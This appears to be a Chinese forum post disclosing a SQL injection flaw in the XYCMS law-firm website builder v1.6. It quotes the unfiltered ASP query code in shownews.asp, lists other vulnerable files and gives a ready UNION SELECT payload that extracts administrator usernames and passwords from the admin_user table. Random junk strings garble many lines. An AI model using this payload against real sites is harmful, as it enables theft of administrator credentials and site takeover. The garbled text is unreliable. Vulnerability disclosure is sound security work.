XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似
9 Y4 L3 s! `& T, P8 o7 h6 k' h, `
0 |) n1 o! f( P( {! ^  f1 _, w淫荡分割线
--------------------------------------------------------

审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
9 s  U7 M5 n( I  F源码地址:http://down.chinaz.com/soft/29233.htm

7 A: Y  i3 ^4 o8 \% q漏洞文件:shownews.asp
, N- [: n/ t4 B2 W4 Q漏洞代码：7-13行


' B& R' t# |3 R' `6 c' _<%
9 u# y# ~0 R& S, l9 g2 x- Did=request.QueryString("id")
   
set snews=server.createobject("adodb.recordset")
exec="select * from [news] where id="&id
$ W7 x) x8 {7 \/ d& _# ssnews.open exec,conn,1,1
%>
$ ]- n5 @3 A6 E2 \* p
' e# ?/ Y/ u; k- ?0 @' Z
9 R+ |+ u" M& z, `  N2 s什么过滤都没有  直造成注入

! }3 E$ F2 z8 r( E注入点:http://127.0.0.1:99/shownews.asp?id=xx

其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找
: E8 ?: L" j4 @  M5 \

$ a& T6 Z9 {" p" k% L: k3 L9 v' Nexp: union select 1,admin,password,4,5,7 from admin_user
​
9 c9 y0 [. \2 b% h